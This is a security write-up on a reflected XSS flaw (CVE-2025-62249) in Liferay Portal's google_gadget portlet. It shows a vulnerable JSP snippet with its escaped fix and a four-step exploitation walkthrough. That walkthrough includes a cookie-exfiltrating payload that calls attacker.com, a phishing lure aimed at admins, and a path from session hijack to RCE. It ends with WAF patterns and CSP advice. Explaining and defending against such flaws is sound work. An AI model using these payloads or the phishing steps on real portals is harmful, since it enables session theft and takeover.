Gadget Inspector: Unmasking Reflected XSS in Liferay Portal

Enterprise software is essentially a digital museum. Walk through the halls of any sufficiently mature Java platform, and you'll find artifacts from eras long past. In Liferay's case, we have the google_gadget component. Do you remember Google Gadgets? They were those little interactive HTML/JS widgets that people used to plaster all over iGoogle pages back in 2008. They are largely a relic of the past, yet the code to support them often lingers in modern deployments, gathering dust and—more importantly—vulnerabilities.

This specific vulnerability, CVE-2025-62249, is a classic case of attack surface expansion via legacy features. The google_gadget component is designed to render external content, acting as a bridge between the portal and third-party widgets. Anytime an application takes external input and decides to render it, alarm bells should be ringing in your head. In the world of web security, rendering untrusted input is the digital equivalent of accepting a package from a stranger and eating whatever is inside without checking the label.

The vulnerability is a Reflected Cross-Site Scripting (XSS) flaw. While the security industry sometimes rolls its eyes at XSS, treating it as the 'little sibling' to Remote Code Execution (RCE), this perspective is dangerous. In a portal environment like Liferay, which often hosts intranet data, employee directories, and administrative controls, an XSS exploit is often just one fetch() request away from becoming a full administrative takeover.

The root cause of this vulnerability lies in improper output encoding (CWE-79). Reflected XSS occurs when an application receives data in an HTTP request (usually a URL parameter) and includes that data in the immediate response in an unsafe way. It’s like shouting into a cave, but the echo comes back as a slap in the face. In the case of google_gadget, the component accepts configuration parameters—likely intended to specify which gadget to load or how to display it—and reflects them directly into the HTML DOM.

Technically, the issue stems from the server-side code handling the request. When the Liferay portal renders the gadget, it likely grabs a parameter like url or gadget_id from the query string. Instead of treating this string as radioactive waste, the application assumes it's safe text. It creates the HTML markup for the page and concatenates this user-controlled string directly into a script tag, an attribute, or the page body.

Because the browser trusts the server, it parses this reflected input as executable code. If the input contains <script>alert('pwned')</script>, the browser doesn't see data; it sees instructions. This violates the separation of control and data, the cardinal sin of injection attacks. The flaw is specifically that the google_gadget code failed to pass this input through a sanitizer or an escaping function (like HtmlUtil.escape()) before writing it to the HTTP response stream.

While the exact source diff is proprietary to Liferay's enterprise repo, we can reconstruct the crime scene based on how Liferay portlets typically handle this data. In a vulnerable JSP (JavaServer Page) implementation for a component like this, you typically see code that looks innocuous but is deadly.

The Vulnerable Pattern:

// Hypothetical vulnerable code in google_gadget.jsp
String gadgetId = request.getParameter("gadget_id");
// ... later in the HTML ...
<div id="gadget_<%= gadgetId %>">
    Loading gadget...
</div>

In the snippet above, the gadgetId is taken directly from the request and scrawled onto the page. If gadgetId is 123, all is well. If gadgetId is 123"><script>evil()</script>, the HTML structure breaks, and the script executes. The browser sees <div id="gadget_123"><script>evil()</script>">.

The Fix: To remediate this, Liferay's developers would have applied context-aware output encoding. The fix forces the browser to interpret the data as text, not markup.

// The Remediation
<%@ page import="com.liferay.portal.kernel.util.HtmlUtil" %>
String gadgetId = request.getParameter("gadget_id");
// ... later in the HTML ...
<div id="gadget_<%= HtmlUtil.escapeAttribute(gadgetId) %>">
    Loading gadget...
</div>

By wrapping the input in HtmlUtil.escapeAttribute() (or using JSTL tags like <c:out>), special characters like < become < and " becomes ". The browser renders these harmlessly rather than executing them.

Exploiting this requires a bit of social engineering, as it is a reflected attack. We need to trick a user into clicking a link. The target? Ideally, a Portal Administrator. The payload needs to be constructed to break out of the HTML context of the google_gadget.

Step 1: Reconnaissance We identify the vulnerable endpoint. In Liferay, portlet URLs can be long and ugly, typically containing p_p_id (Portlet ID). We look for the ID associated with the Google Gadget. https://target-portal.com/web/guest/home?p_p_id=com_liferay_google_gadget_web_portlet_GoogleGadgetPortlet&_com_liferay_google_gadget_web_portlet_GoogleGadgetPortlet_url=PAYLOAD

Step 2: Payload Construction A simple alert(1) proves the bug, but we want impact. We want to steal the JSESSIONID or the Liferay auth token (p_auth). javascript:fetch('https://attacker.com/log?cookie='+document.cookie)

We encode this payload and wrap it into an image tag to trigger automatically: "><img src=x onerror=fetch('https://attacker.com/log?c='+btoa(document.cookie))>

Step 3: Delivery We shorten the URL using a link shortener to hide the suspicious parameters and send it via a phishing email: "URGENT: Please review the broken Google Analytics widget on the homepage."

Step 4: Execution When the admin clicks the link, the Liferay portal reflects our script. The script executes in the context of the admin's session. It silently exfiltrates their session cookies to our C2 server. We can now hijack their session, effectively becoming the admin without ever guessing a password.

Why panic over a "Medium" severity XSS? Because context matters. Liferay DXP is not a blog; it is an operating system for the enterprise web. It manages users, documents, workflows, and integrations. If an attacker hijacks an Administrator's session via CVE-2025-62249, the game is virtually over.

With Admin access, an attacker can modify page templates, creating a Stored XSS attack that affects every user who visits the site. Worse, Liferay Administrators often have the ability to install plugins or deploy OSGi modules. An attacker could upload a malicious JAR file masquerading as a portlet. This transitions the attack from client-side XSS to server-side Remote Code Execution (RCE).

Even without RCE, the loss of confidentiality is severe. Intranets hold sensitive internal docs, employee PII, and strategic data. An XSS hook allows the attacker to proxy traffic through the victim's browser, letting them explore the internal network as if they were sitting at the victim's desk. The CVSS score of 6.9 is deceptive; in the hands of a capable adversary, this is a gateway to full compromise.

The immediate fix is to upgrade. Liferay has patched this in Portal version 7.4.3.133 and the corresponding DXP updates (e.g., Update 133). If you are running Liferay DXP 2025.Q3, you need to ensure you are on a patch level higher than Q3.2. Check the specific version table for your release stream.

If you cannot upgrade immediately (and let's be honest, enterprise Java upgrades are rarely 'immediate'), you have limited options. You could attempt to block the specific URL patterns associated with the google_gadget using a Web Application Firewall (WAF). Look for the p_p_id associated with Google Gadgets and filter requests containing <script>, javascript:, or onerror in the query string. However, WAF bypasses are common, and this should only be a temporary stopgap.

Longer term, security teams should implement a strict Content Security Policy (CSP). A CSP can prevent the browser from executing inline scripts or loading resources from unauthorized domains. If your CSP forbids unsafe-inline, the reflected XSS payload will fail to execute, rendering the vulnerability inert even if the code remains unpatched.